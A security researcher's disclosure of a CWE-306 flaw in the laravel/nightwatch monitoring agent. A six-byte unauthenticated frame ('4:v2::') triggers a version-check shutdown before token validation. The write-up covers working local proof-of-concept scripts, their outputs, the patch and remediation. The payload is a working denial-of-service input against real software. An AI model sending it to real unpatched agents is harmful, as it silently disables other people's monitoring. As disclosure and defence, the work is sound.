GHSA-gq2x-q923-f9f8 · CWE-306 · laravel/nightwatch 1.11.0–1.30.2 · fixed in 1.30.3 · CVE Identifier pending
Laravel Nightwatch is a monitoring agent. Its whole job is to sit quietly beside your application, collect telemetry, and ship it off so you can see what your app is doing. The irony of the bug below is that the thing meant to watch everything could be switched off by a stranger sending it six bytes.
In affected versions, an unauthenticated peer on the same network could send one short, malformed message and the agent would shut itself down—without ever checking whether the sender was allowed to talk to it. The application kept running, but you went blind. No telemetry, no alerts, until something restarted the agent.
My report was published as GHSA-gq2x-q923-f9f8, classified as CWE-306: Missing Authentication for Critical Function, and fixed in 1.30.3 by PR #432.
Finding at a glance
| Property | Value |
|---|---|
| Component | laravel/nightwatch agent — Server::start (agent/src/Server.php) |
| Affected versions | >= 1.11.0, <= 1.30.2 |
| Patched version | 1.30.3 |
| Weakness | CWE-306 missing authentication for a critical function |
| Attack vector | One unauthenticated TCP frame to the agent's ingest listener |
| CVSS | 6.5 — CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Impact | Agent shuts down; telemetry ingestion and forwarding stop |
| Reporter | jf0x3f |
The idea, in plain terms
Think of the agent as a receptionist with two jobs on every visitor: check the ID badge, and read the message. The correct order is obvious—check the badge first, and only deal with anyone who actually belongs there.
The vulnerable code did it backwards. When a message arrived, it inspected the content of the message before it ever looked at the badge. And one particular piece of content—a protocol "version" field that the sender fully controls—had a special meaning: if the version looked wrong, the receptionist concluded something was badly broken, locked the front door, and went home.
Because none of that required a valid badge, anyone who could reach the desk could trigger it. Send a message with a deliberately invalid version, no credentials at all, and the agent packs up and leaves.
Where it goes wrong in the code
Nightwatch frames are length-prefixed: a number, a colon, then that many bytes of body. The body itself carries a version marker and a token. The server assembles the frame, acknowledges it, and then—in its close handler—decides what to do. The order of those decisions is the whole bug:
TCP connection / data event
-> Server::start connection handler (agent/src/Server.php:40-50)
-> Payload::append / parsePayload (agent/src/Payload.php:23-47)
-> close handler checks the VERSION first (agent/src/Server.php:53-65) <-- attacker-controlled
-> listener close + onInvalidPayloadVersion
-> Ingest::forceDigest + Loop::stop (agent/src/agent.php:205-212) <-- agent stops
The invalid-version branch (lines 60–65) runs before the token is ever checked (lines 68–71). The invariant that should hold is simple: a peer that has not passed token validation must not be able to close the listener or change the agent's lifecycle. Here, it could do both.
And this is reachable in practice. The project's official Docker image binds the ingest listener to every interface:
# agent/Dockerfile:16
NIGHTWATCH_INGEST_URI=0.0.0.0:2407
0.0.0.0 means "listen on all interfaces," so any peer that can route to the container on port 2407 reaches the vulnerable desk.
The malicious message
The entire attack is six bytes:
4:v2::
hex: 34 3a 76 32 3a 3a
Reading it the way the server does:
4:— the body is four bytes long;v2::— those four bytes: a version field ofv2, then an empty token.
It is a complete, well-formed frame. The version is invalid and the token is empty—exactly the combination that the server handled in the wrong order.
Proof of concept
All three proofs below run entirely locally against the real, pinned v1.30.2 code. They use a synthetic token and local fakes, stop at the first availability impact, and never contact any deployed or hosted Nightwatch service.
PoC 1 — the decision, isolated
This drives the real parser and server with the six-byte frame and reports which callbacks fired. It wraps the pinned Server and Payload classes in minimal fakes, emits the frame, and prints the resulting decisions as JSON.
poc-component.php:
<?php
declare(strict_types=1);
use Evenement\EventEmitter;
use Laravel\NightwatchAgent\Server;
use React\Socket\ConnectionInterface;
use React\Socket\ServerInterface;
use React\Stream\WritableStreamInterface;
require __DIR__.'/runtime-vulnerable/vendor/autoload.php';
$runtime = getenv('NIGHTWATCH_RUNTIME') ?: __DIR__.'/runtime-vulnerable';
require $runtime.'/src/Payload.php';
require $runtime.'/src/Server.php';
final class PocConnection extends EventEmitter implements ConnectionInterface
{
public string $response = '';
public bool $closed = false;
public function getRemoteAddress() { return 'tcp://127.0.0.1:40000'; }
public function getLocalAddress() { return 'tcp://127.0.0.1:2407'; }
public function isReadable() { return ! $this->closed; }
public function pause() { return null; }
public function resume() { return null; }
public function pipe(WritableStreamInterface $dest, array $options = []) { throw new \RuntimeException('unused'); }
public function close() { $this->closed = true; }
public function isWritable() { return ! $this->closed; }
public function write($data) { $this->response .= (string) $data; return true; }
public function end($data = null) { if ($data !== null) { $this->write($data); } $this->close(); }
}
final class PocServer extends EventEmitter implements ServerInterface
{
public bool $closed = false;
public function getAddress() { return 'tcp://127.0.0.1:2407'; }
public function pause() { return null; }
public function resume() { return null; }
public function close() { $this->closed = true; }
}
$listener = new PocServer;
$invalidVersionCalled = false;
$invalidTokenCalled = false;
$payloadReceived = false;
$server = new Server(
serverResolver: static fn (): ServerInterface => $listener,
tokenHash: 'SECRET7',
onServerStarted: static fn () => null,
onServerError: static fn () => null,
onConnectionError: static fn () => null,
onPayloadReceived: static function () use (&$payloadReceived): void { $payloadReceived = true; },
onInvalidPayloadVersion: static function () use (&$invalidVersionCalled): void { $invalidVersionCalled = true; },
onInvalidTokenHash: static function () use (&$invalidTokenCalled): void { $invalidTokenCalled = true; },
);
$server->start();
// Six bytes total. The declared payload body is 'v2::' (invalid version, empty token, empty value).
$frame = '4:v2::';
$connection = new PocConnection;
$listener->emit('connection', [$connection]);
$connection->emit('data', [$frame]);
$connection->emit('close');
$result = [
'frame_hex' => bin2hex($frame),
'frame_bytes' => strlen($frame),
'ack' => $connection->response,
'listener_closed' => $listener->closed,
'invalid_version_callback' => $invalidVersionCalled,
'invalid_token_callback' => $invalidTokenCalled,
'payload_callback' => $payloadReceived,
];
echo json_encode($result, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES).PHP_EOL;
Run it:
php poc-component.php
Output:
{
"frame_hex": "343a76323a3a",
"frame_bytes": 6,
"ack": "2:OK",
"listener_closed": true,
"invalid_version_callback": true,
"invalid_token_callback": false,
"payload_callback": false
}
The server acknowledges the frame, closes the shared listener, and reaches the invalid-version shutdown callback. Note what never happens: invalid_token_callback is false. The empty, invalid token was never evaluated—the agent gave up before it got there.
PoC 2 — a real process, over a real socket
This starts the actual pinned agent process, sends the six bytes over a loopback TCP socket, and watches the process exit. It stands up an ephemeral loopback listener and a synthetic local auth service, and contacts nothing external.
The driver, poc-loopback.sh, picks two free loopback ports, starts a local mock auth router and the vulnerable agent, waits for the agent to authenticate and come up, then fires the frame and confirms the process dies:
#!/bin/sh
set -eu
POC_TMP="$(mktemp -d "${TMPDIR:-/tmp}/nightwatch-ghsa.XXXXXX")"
MOCK_PID=''
AGENT_PID=''
cleanup() {
if [ -n "$AGENT_PID" ]; then
kill "$AGENT_PID" 2>/dev/null || true
fi
if [ -n "$MOCK_PID" ]; then
kill "$MOCK_PID" 2>/dev/null || true
fi
rm -rf "$POC_TMP"
}
trap cleanup EXIT INT TERM
free_port() {
php -r '$socket = stream_socket_server("tcp://127.0.0.1:0", $code, $message); if ($socket === false) { exit(1); } echo parse_url(stream_socket_get_name($socket, false), PHP_URL_PORT); fclose($socket);'
}
AUTH_PORT="$(free_port)"
INGEST_PORT="$(free_port)"
php -S "127.0.0.1:${AUTH_PORT}" mock-nightwatch-router.php >"$POC_TMP/mock.log" 2>&1 &
MOCK_PID=$!
NIGHTWATCH_BASE_URL="http://127.0.0.1:${AUTH_PORT}" \
NIGHTWATCH_TOKEN='LOCAL_SYNTHETIC_TOKEN_000000000000000000000' \
NIGHTWATCH_INGEST_URI="127.0.0.1:${INGEST_PORT}" \
php run-vulnerable-agent.php >"$POC_TMP/agent.log" 2>&1 &
AGENT_PID=$!
ready='false'
for _ in 1 2 3 4 5 6 7 8 9 10; do
if grep -q 'Authentication successful' "$POC_TMP/agent.log" && grep -q 'Nightwatch agent initiated' "$POC_TMP/agent.log"; then
ready='true'
break
fi
sleep 0.2
done
if [ "$ready" != 'true' ]; then
sed -E 's/127\.0\.0\.1:[0-9]+/127.0.0.1:<ephemeral>/g' "$POC_TMP/agent.log"
echo 'Local agent did not become ready.' >&2
exit 1
fi
php send-six-byte-frame.php "$INGEST_PORT"
stopped='false'
for _ in 1 2 3 4 5 6 7 8 9 10; do
if ! kill -0 "$AGENT_PID" 2>/dev/null; then
stopped='true'
wait "$AGENT_PID" || true
AGENT_PID=''
break
fi
sleep 0.2
done
sed -E 's/127\.0\.0\.1:[0-9]+/127.0.0.1:<ephemeral>/g' "$POC_TMP/agent.log"
if [ "$stopped" != 'true' ]; then
echo 'Expected the vulnerable agent process to stop.' >&2
exit 1
fi
grep -q 'Shutting down' "$POC_TMP/agent.log"
echo 'RESULT: vulnerable agent exited after one unauthenticated six-byte frame'
The actual network send is tiny—open a socket, write six bytes, read the acknowledgement. That is send-six-byte-frame.php:
<?php
declare(strict_types=1);
$port = filter_var($argv[1] ?? null, FILTER_VALIDATE_INT);
if ($port === false) {
fwrite(STDERR, "A valid loopback port is required.\n");
exit(1);
}
$socket = stream_socket_client("tcp://127.0.0.1:{$port}", $errorCode, $errorMessage, 2);
if ($socket === false) {
fwrite(STDERR, "Loopback connection failed: {$errorMessage} [{$errorCode}]\n");
exit(1);
}
$frame = '4:v2::';
fwrite($socket, $frame);
$ack = fread($socket, 4);
fclose($socket);
echo json_encode([
'destination' => '127.0.0.1:<ephemeral>',
'frame_hex' => bin2hex($frame),
'frame_bytes' => strlen($frame),
'ack' => $ack,
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES).PHP_EOL;
if ($ack !== '2:OK') {
exit(1);
}
Run it:
sh poc-loopback.sh
Output:
frame_hex: 343a76323a3a
frame_bytes: 6
ack: 2:OK
agent log: Shutting down
RESULT: vulnerable agent exited after one unauthenticated six-byte frame
PoC 3 — full-agent regression harness
This uses Nightwatch's own source-agent harness with local fakes to assert the full chain: the listener closes, the event loop stops, the invalid-version and shutdown messages are emitted, and the token-mismatch path is never taken.
HistoricalInvalidVersionShutdownTest.php:
<?php
declare(strict_types=1);
use Tests\BrowserFake;
use Tests\Connection;
use Tests\LoopFake;
use Tests\Response;
use Tests\TcpServerFake;
use Tests\TestCase;
use Tests\Timer;
final class HistoricalInvalidVersionShutdownTest extends TestCase
{
public function test_six_byte_unauthenticated_frame_stops_the_agent(): void
{
$loop = new LoopFake(runForSeconds: 2);
$server = new TcpServerFake;
$ingestDetailsBrowser = new BrowserFake([Response::jwt()]);
$ingestBrowser = new BrowserFake;
$loop->addTimer(1, $server->pendingConnection('4:v2::'));
[$output, $exception] = $this->runAgent(
via: 'source',
ingestDetailsBrowser: $ingestDetailsBrowser,
ingestBrowser: $ingestBrowser,
loop: $loop,
server: $server,
);
$this->assertNull($exception, $exception?->getMessage() ?? '');
$server->assertHandled([Connection::ok()]);
$server->assertClosed();
$this->assertFalse($loop->running);
$this->assertStringContainsString('Incoming payload version has changed', $output);
$this->assertStringContainsString('Shutting down', $output);
$this->assertStringNotContainsString('Incoming token hash mismatch', $output);
$loop->assertRun([
new Timer(interval: 1, runAt: 1, scheduledAt: 0, scheduledBy: $this->functionName()),
]);
}
}
The assertions read like a plain-English statement of the bug: the connection is acknowledged, the listener is closed, the loop is no longer running, the version-change and shutdown messages appear, and—critically—the "token hash mismatch" message never does. Run it:
cd runtime-vulnerable
CI=1 php vendor/bin/phpunit ../HistoricalInvalidVersionShutdownTest.php
Result: OK (1 test, 8 assertions).
What the fix changed
The patch is almost boring, which is the point. PR #432 moved token verification before version handling, and switched the token comparison to hash_equals. Check the badge first; then, and only then, care about the message.
Running the same six-byte frame against the fixed v1.30.3 code shows the reversal. The comparison reuses PoC 1 unchanged, just pointed at the patched runtime and told to expect the fixed decision order—poc-compare-fixed.php:
<?php
declare(strict_types=1);
putenv('NIGHTWATCH_RUNTIME='.__DIR__.'/runtime-fixed');
putenv('NIGHTWATCH_EXPECT_FIXED=1');
require __DIR__.'/poc-component.php';
php poc-compare-fixed.php
{
"frame_hex": "343a76323a3a",
"frame_bytes": 6,
"ack": "2:OK",
"listener_closed": false,
"invalid_version_callback": false,
"invalid_token_callback": true,
"payload_callback": false
}
Now the empty token is rejected (invalid_token_callback: true), the listener stays open (listener_closed: false), and the invalid-version shutdown path is never reached. The agent keeps running. This output matches the v1.30.3 source byte-for-byte.
Impact and honest limits
The demonstrated effect is availability loss, scoped to the agent. An adjacent network peer could disable telemetry ingestion and forwarding until an external supervisor restarted the process, creating a monitoring blind spot. That is why the CVSS vector reads A:H (high availability impact) with C:N/I:N—nothing was read, nothing was altered.
Remediation
- Upgrade
laravel/nightwatchto1.30.3or later. - Do not bind the ingest listener to
0.0.0.0in untrusted networks—prefer loopback or a tightly scoped interface, and firewall port 2407 to known peers. - Run the agent under a supervisor that restarts it, and alert on unexpected agent exits so a shutdown is noisy rather than silent.
- Treat "my monitoring went quiet" as a signal worth investigating, not just a glitch.
Security lessons
- Order of checks is a security control. The code was all there; it just authenticated after it had already acted on attacker-controlled input.
- Attacker-controlled fields deserve suspicion before trust is established. A "version" field is still input, and here it carried enough weight to stop a process.
- A kill switch doesn't need memory corruption. Six valid bytes and a logic ordering mistake were enough.
- Monitoring is part of the attack surface. The tool that watches your system is itself a system that can be attacked—and silencing the watcher is a useful first move for someone who wants to do worse.
- Default binds matter.
0.0.0.0in a shipped Dockerfile turns a local-only concern into an adjacent-network one.